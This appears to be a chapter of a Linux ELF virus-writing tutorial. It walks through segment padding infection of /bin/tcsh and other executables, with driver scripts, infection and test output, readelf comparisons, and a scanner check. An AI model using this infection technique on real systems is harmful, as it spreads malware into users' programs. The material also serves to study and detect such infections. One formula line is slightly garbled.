Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force. | |
| Darth Vader |
Another interesting thing in the output of Segments of /bin/tcsh is the distance between the two LOAD segments:
VirtAddr[2] - VirtAddr[1] - MemSiz[1] = 0x8092360 - 0x8048000 - 0x49358 = 0x1008 = 4104 bytes
Offset[2] - Offset[1] - FileSiz[1] = 0x49360 - 0x0 - 0x49358 = 0x8 = 8 bytes
Only 8 bytes (0x8) would be needed to align the first LOAD segment up to the alignment of 0x1000. For some reason at least one complete page lies between code segment and data segment. Is this gap target for a virus? Well, that depends. See Segment padding infection (i) for a general introduction. Anyway, the interesting thing in the output below is the value of _SC_PAGESIZE. We can fill the gap only in chunks of that size.
Output: out/i386-redhat8.0-linux/segment_padding/sysconf
_SC_CLK_TCK=100
_SC_VERSION=199506
_SC_PAGESIZE=4096
_SC_PHYS_PAGES=32000
_SC_AVPHYS_PAGES=1554 |
We found a peculiarity. We verified its existence at Scan segments. We have a basic framework at One step closer to the edge (i) and implemented the specific infection method at Segment padding infection (i). The code to insert is at Infection #1. Time to let them all play together; using the script at cc.sh (i).
Output: out/i386-redhat8.0-linux/segment_padding/e1i1/cc
src/one_step_closer/get_seg.inc:6: warning: `phdr_data' might be used
uninitialized in this function |
Now we know that the output of the compiler is alright and the infector was built. So off we go. The list of target executables was gathered in Food for segment padding.
Command: pre/i386-redhat8.0-linux/one_step_closer/infect.sh
#!/bin/bash
project=${1:-one_step_closer}
entry_addr=${2:-e1}
infection=${3:-i1}
scanner=${4:-segment_padding}
( cd tmp/i386-redhat8.0-linux/${project}/${entry_addr}${infection} \
&& ./infector ) \
< out/i386-redhat8.0-linux/scanner/${scanner}/infect |
Output: out/i386-redhat8.0-linux/segment_padding/e1i1/infect
/bin/tcsh ... wrote 26 bytes, Ok
/bin/ash.static ... wrote 26 bytes, Ok
/bin/sync ... wrote 26 bytes, Ok
files=3; ok=3; failed=0 |
A simple shell script will do as test.
Output = Command: out/i386-redhat8.0-linux/segment_padding/test-e1i1.sh
#!tmp/i386-redhat8.0-linux/segment_padding/e1i1/tcsh_infected
echo "pid=[$$]"
cd tmp/i386-redhat8.0-linux/segment_padding/e1i1
echo "TERM=[$TERM]"
./ash.static_infected -c 'echo $$'
./sync_infected
echo "---"
/bin/cat tcsh_infected > strip_tcsh_infected \
&& /usr/bin/strip strip_tcsh_infected \
&& /bin/chmod 755 strip_tcsh_infected \
&& ./strip_tcsh_infected -c 'echo $$' |
Output: out/i386-redhat8.0-linux/segment_padding/test-e1i1
ELFpid=[22314]
TERM=[xterm]
ELF22339
ELF---
ELF22344 |
The Force is strong with this one. [1]
After emotions cooled down a bit we can examine the infected executable and compare it with the original.
Command: pre/i386-redhat8.0-linux/segment_padding/readelf.sh
#!/bin/bash
shell=$( /bin/sed 1q \
out/i386-redhat8.0-linux/scanner/segment_padding/infect )
[ -x "${shell}" ] || exit 1
cd tmp/i386-redhat8.0-linux/segment_padding/e1i1 || exit 2
infected=${shell##*/}_infected
/bin/ls -l ${infected}
/bin/ls -l strip_${infected}
/bin/ls -l ${shell}
/usr/bin/readelf -l ${infected} |
Output: out/i386-redhat8.0-linux/segment_padding/readelf
-rwxrwxr-x 1 alba alba 369528 Feb 15 23:49 tcsh_infected
-rwxr-xr-x 1 alba alba 323836 Feb 15 23:49 strip_tcsh_infected
-rwxr-xr-x 1 root root 365432 Aug 8 2002 /bin/tcsh
Elf file type is EXEC (Executable file)
Entry point 0x8091360
There are 7 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x000e0 0x000e0 R E 0x4
INTERP 0x000114 0x08048114 0x08048114 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x4a358 0x4a358 R E 0x1000
LOAD 0x04a360 0x08092360 0x08092360 0x03a30 0x33b40 RW 0x1000
DYNAMIC 0x04daac 0x08095aac 0x08095aac 0x000d8 0x000d8 RW 0x4
NOTE 0x000128 0x08048128 0x08048128 0x00020 0x00020 R 0x4
GNU_EH_FRAME 0x04930c 0x0809130c 0x0809130c 0x0004c 0x0004c R 0x4
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr
03 .data .eh_frame .dynamic .ctors .dtors .jcr .got .bss
04 .dynamic
05 .note.ABI-tag
06 |
File size and code segment have grown as expected. Data segment and DYNAMIC segment moved accordingly:
infected.file_size - original.file_size = 369528 - 365432 4096 = 0x1000
infected.LOAD[1].FileSiz - sh.LOAD[1].FileSiz = 0x4a358 - 0x49358 = 0x1000
infected.LOAD[2].Offset - sh.LOAD[2].Offset = 0x4a360 - 0x49360 = 0x1000
infected.DYNAMIC.Offset - sh.DYNAMIC.Offset = 0x4daac - 0x4caac = 0x1000
And the new distance between the LOAD segments:
VirtAddr[2] - VirtAddr[1] - MemSiz[1] = 0x8092360 - 0x8048000 - 0x4a358 = 0x8 = 8 bytes
Offset[2] - Offset[1] - FileSiz[1] = 0x4a360 - 0x0 - 0x4a358 = 0x8 = 8 bytes
The small output of Scan segments includes the executable from last chapter. But for clarity we repeat the exercise.
Command: pre/i386-redhat8.0-linux/segment_padding/scan_segment.sh
#!/bin/bash
TEVWH_TMP=tmp/i386-redhat8.0-linux
export TEVWH_TMP
shell=$( /bin/sed 1q \
out/i386-redhat8.0-linux/scanner/segment_padding/infect )
[ -x "${shell}" ] || exit 1
/bin/echo "${shell}
tmp/i386-redhat8.0-linux/one_step_closer/e1i1/${shell##*/}_infected" \
| tmp/i386-redhat8.0-linux/scanner/segment_padding |
Output: out/i386-redhat8.0-linux/segment_padding/scan
/bin/tcsh ... delta=0x1008, Ok
(2) No such file or directory
CHECK: one_step_closer/e1i1/tcsh_infected
CHECK: src/one_step_closer/open_src.inc#9
CHECK: (0) <= (t->fd_src = open(t->src_file, 00))
CHECK: 0 <= -1; 0 <= 0xffffffff
files=2; ok=1; det_page=1; det_align=0; min=0x1008; max=0x1008 |
This is like playing chess against oneself, and losing. Can't do much about it, though.
The value of Entry point changed dramatically. In the original it is in the first part of the file:
entry_point_m/additional.cs.xml = 0x804a130 - 0x8048000 = 0x2130 = 8496 bytes.
The infected copy moved that to less than 1000 bytes from the end of the code segment.
entry_point_ofs = 0x8091360 - 0x8048000 = 0x49360 = 299872 bytes.
end_of_LOAD1 = 0x8048000 + 0x4a358 = 0x8092358
entry_point_distance_to_end = 0x8092358 - 0x8091360 = 0xff8 = 4088
This alone is an easy vulnerability to scanners. But then since Scan entry point we know for sure that with regular executables the entry point equals the start of section .text.
| [1] | Admittedly, it is not strip-safe on SunOS. But I call that room for improvement. |